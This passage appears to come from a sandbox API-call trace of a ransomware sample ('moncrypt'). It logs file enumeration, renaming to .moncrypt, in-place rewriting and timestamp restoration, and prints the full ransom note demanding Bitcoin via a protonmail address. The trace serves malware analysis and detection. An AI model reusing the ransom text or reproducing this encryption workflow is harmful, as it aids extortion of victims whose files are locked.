nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0055.781] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0055.794] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0055.794] CloseHandle (hObject=0x18c) returned 1 [0055.886] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.886] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0055.886] CloseHandle (hObject=0x18c) returned 1 [0055.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX.moncrypt", dwFileAttributes=0x20) returned 1 [0055.887] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0055.887] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.887] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.887] GlobalUnlock (hMem=0x440004) returned 0 [0055.887] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.887] GlobalLock (hMem=0x44000c) returned 0x557b88 [0055.887] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.887] GlobalUnlock (hMem=0x440004) returned 0 [0055.887] GlobalHandle (pMem=0x557b88) returned 0x44000c [0055.887] GlobalUnlock (hMem=0x44000c) returned 0 [0055.887] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0055.887] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42429200, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x42429200, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x42429200, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0055.887] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0055.887] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0055.888] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0055.888] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.888] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0055.888] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0055.888] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0055.888] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0055.888] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0055.888] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0055.888] ReadFile (in: hFile=0x18c, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0055.888] CloseHandle (hObject=0x18c) returned 1 [0055.889] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x2fde5, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGTXT.SHX", cAlternateFileName="")) returned 1 [0055.889] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0055.889] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0055.889] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.889] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.889] GlobalUnlock (hMem=0x44000c) returned 0 [0055.889] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.889] GlobalLock (hMem=0x440004) returned 0x557b88 [0055.889] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.889] GlobalUnlock (hMem=0x44000c) returned 0 [0055.889] GlobalHandle (pMem=0x557b88) returned 0x440004 [0055.889] GlobalUnlock (hMem=0x440004) returned 0 [0055.889] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.889] CharLowerBuffW (in: lpsz="WHGTXT.SHX", cchLength=0xa | out: lpsz="whgtxt.shx") returned 0xa [0055.889] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.889] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.890] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.890] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.890] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.890] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.890] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.890] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.890] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.890] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0055.890] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX", cchWideChar=76, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHXp", lpUsedDefaultChar=0x0) returned 76 [0055.890] CharLowerBuffW (in: lpsz=".SHX", cchLength=0x4 | out: lpsz=".shx") returned 0x4 [0055.890] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".shx", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".shxShared\\Visio Shared\\Fonts\\WHGTXT.SHXp", lpUsedDefaultChar=0x0) returned 4 [0055.890] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x2fde5, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGTXT.SHX", cAlternateFileName="")) returned 0x54e240 [0055.890] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0055.890] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0055.890] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0055.890] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX", dwFileAttributes=0x20) returned 1 [0055.924] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0055.927] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx.moncrypt")) returned 1 [0055.928] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.928] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0055.928] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x2fde5 [0055.928] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0055.930] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0055.935] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.936] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0055.936] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0055.936] GlobalUnlock (hMem=0x44000c) returned 0 [0055.936] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0055.936] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0055.936] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0055.936] GlobalUnlock (hMem=0x44000c) returned 0 [0055.936] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0055.936] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0055.936] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.936] GlobalUnlock (hMem=0x440004) returned 0 [0055.936] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0055.936] GlobalUnlock (hMem=0x44000c) returned 0 [0055.936] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.936] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.936] GlobalUnlock (hMem=0x44000c) returned 0 [0055.936] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0055.936] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.936] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.936] GlobalUnlock (hMem=0x44000c) returned 0 [0055.936] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0055.937] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0055.937] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0055.937] SetFilePointer (in: hFile=0x18c, lDistanceToMove=196069, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x2fde5 [0055.937] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0055.938] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0055.938] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0055.950] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0055.950] CloseHandle (hObject=0x18c) returned 1 [0055.954] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.954] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0055.954] CloseHandle (hObject=0x18c) returned 1 [0055.954] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX.moncrypt", dwFileAttributes=0x20) returned 1 [0055.954] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0055.954] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.955] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.955] GlobalUnlock (hMem=0x44000c) returned 0 [0055.955] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.955] GlobalLock (hMem=0x440004) returned 0x557b88 [0055.955] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.955] GlobalUnlock (hMem=0x44000c) returned 0 [0055.955] GlobalHandle (pMem=0x557b88) returned 0x440004 [0055.955] GlobalUnlock (hMem=0x440004) returned 0 [0055.955] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0055.955] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42429200, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x42429200, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x42429200, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0055.955] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0055.955] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0055.955] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0055.955] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.955] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0055.955] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0055.955] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0055.956] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0055.956] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0055.956] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0055.956] ReadFile (in: hFile=0x18c, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0055.956] CloseHandle (hObject=0x18c) returned 1 [0055.956] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x9e413, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTGTXT.SHX", cAlternateFileName="")) returned 1 [0055.956] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0055.956] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0055.956] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.956] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.956] GlobalUnlock (hMem=0x440004) returned 0 [0055.956] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.956] GlobalLock (hMem=0x44000c) returned 0x557b88 [0055.956] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.956] GlobalUnlock (hMem=0x440004) returned 0 [0055.956] GlobalHandle (pMem=0x557b88) returned 0x44000c [0055.956] GlobalUnlock (hMem=0x44000c) returned 0 [0055.956] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.957] CharLowerBuffW (in: lpsz="WHTGTXT.SHX", cchLength=0xb | out: lpsz="whtgtxt.shx") returned 0xb [0055.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 